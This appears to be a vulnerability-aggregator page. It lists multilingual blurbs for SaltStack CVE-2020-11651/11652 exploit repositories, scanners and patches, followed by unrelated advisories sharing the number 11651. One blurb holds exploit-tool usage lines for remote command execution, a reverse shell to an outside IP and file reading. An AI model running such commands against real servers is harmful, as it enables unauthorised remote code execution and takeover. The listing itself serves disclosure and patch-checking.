CVE-2020-11651-poc

Exploit PoC pour CVE-2020-11651 et CVE-2020-11652 Il s'agit d'un exploit proof of concept basé sur le script de vérification initial. Utilisez-le pour vérifier que vous avez bien mis à jour vos serveurs Salt master vers une version contenant les correctifs nécessaires. Merci à F-Secure Labs pour...

salt-vulnerabilities

Perfil do Salt Stack Este perfil verificará se sua instalação do salt está com patches aplicados em um nível que o proteja contra CVE-2020-11651 e CVE-2020-11652. Ele faz isso verificando se os pacotes salt-api, salt-cloud, salt-master, salt-minion, salt-ssh, salt-syndic e salt estão na versão...

SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP root@kitploit: Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read...

CVE-2020-11651-Poc

Questa è una versione aggiornata originale root@kitploit: git clone https://github.com/jasperla/CVE-2020-11651-poc.git cd CVE-2020-11651-poc quando usavo l'originale mi sono bloccato e ho aggiornato lo script pov...

salt-security-backports

Le patch ufficiali per le versioni precedenti possono essere richieste a: https://www.saltstack.com/lp/request-patch-april-2020/ ⚠ Le patch qui sono personalizzate e potrebbero differire da quelle ufficiali ⚠ Patch di sicurezza backportate per versioni di salt non supportate Le patch in questo...

CVE-2020-11651-CVE-2020-11652-EXP

इस रिपॉजिटरी में README नहीं है।...

cve-2020-11651-exp-plus

Use bash para executar o parâmetro --exec. O script original era /bin/sh, então alguns comandos são incompatíveis, como o reverse shell em bash. 2. O código original obtinha a versão do salt-master local para determiner se o host remoto estava vulnerável, um erro lógico óbvio. Removi diretamente...

CVE-2020-11651-PoC

CVE-2020-11651-PoC Repository che contiene un exploit CVE-2020-11651 aggiornato per funzionare con le ultime versioni di Python e gestire gli errori relativi alle connessioni. COPIA DEL README DAL REPOSITORY ORIGINALE Repository Originale Exploit PoC per CVE-2020-11651 e CVE-2020-11652 Questo è u...

salt-rce-scanner-CVE-2020-11651-CVE-2020-11652

Was ist das? Scan-Tool zum Testen auf SaltStack-Schwachstellen CVE-2020-11651 & CVE-2020-11652. Die Schwachstellen ermöglichen es einem Angreifer, der sich mit dem Port des "Request-Servers" verbinden kann, alle Authentifizierungs- und Autorisierungskontrollen zu umgehen und beliebige...

Exploit for CVE-2020-11651

This is an updated verison original...

CVE-2026-11651

An use after free flaw was found in the Network component of the Chromium browser. Upstream bugs: https://code.google.com/p/chromium/issues/detail?id=511736002...

DEBIAN-CVE-2026-11651

Use after free in Network in Google Chrome prior to 149.0.7827.103 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. Chromium security severity: High...

CVE-2026-11651

Use after free in Network in Google Chrome prior to 149.0.7827.103 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. Chromium security severity: High...

CVE-2026-11651

Technical details are not publicly available in the provided documents. Monitor for updates from vendors and security advisories.

CVE-2026-11651

creationtimestamp| type| source ---|---|--- 2026-06-08 18:00:00+00:00| seen| https://www.hkcert.org/security-bulletin/google-chrome-multiple-vulnerabilities20260609 2026-06-15 18:00:00+00:00| seen| https://www.hkcert.org/security-bulletin/microsoft-edge-multiple-vulnerabilities20260616...

RHEL 8 : freerdp (RHSA-2026:11651)

The remote Redhat Enterprise Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the RHSA-2026:11651 advisory. FreeRDP is a free implementation of the Remote Desktop Protocol RDP, released under the Apache license. The xfreerdp client can connect to...

CVE-2019-11651

Reflected XSS on Micro Focus Enterprise Developer and Enterprise Server, all versions prior to version 3.0 Patch Update 20, version 4.0 Patch Update 12, and version 5.0 Patch Update 2. The vulnerability could be exploited to redirect a user to a malicious page or forge certain types of web reques...

CVE-2025-11651

creationtimestamp| type| source ---|---|--- 2025-10-13 00:04:03+00:00| seen| https://bsky.app/profile/offseq.bsky.social/post/3m2zw2nafsz2m 2026-01-08 19:12:51+00:00| published-proof-of-concept| Telegram/WIp-19cFECHuhwH-OWXRA2nyjK5LkzfngLwe-whBDy50S8...

CVE-2025-11651

Summary: CVE-2025-11651 affects UTT Progress 518G (up to V3v3.2.7-210919-161313). The flaw is in /goform/formRemoteControl, function sub_4247AC, where the Profile argument is mishandled, causing a buffer overflow. This enables remote exploitation; multiple sources note a publicly disclosed exploi...

CVE-2024-11651

A vulnerability was found in EnGenius ENH1350EXT, ENS500-AC and ENS620EXT up to 20241118. It has been classified as critical. Affected is an unknown function of the file /admin/network/wifischedule. The manipulation of the argument wifischeduledayem5 leads to command injection. It is possible to...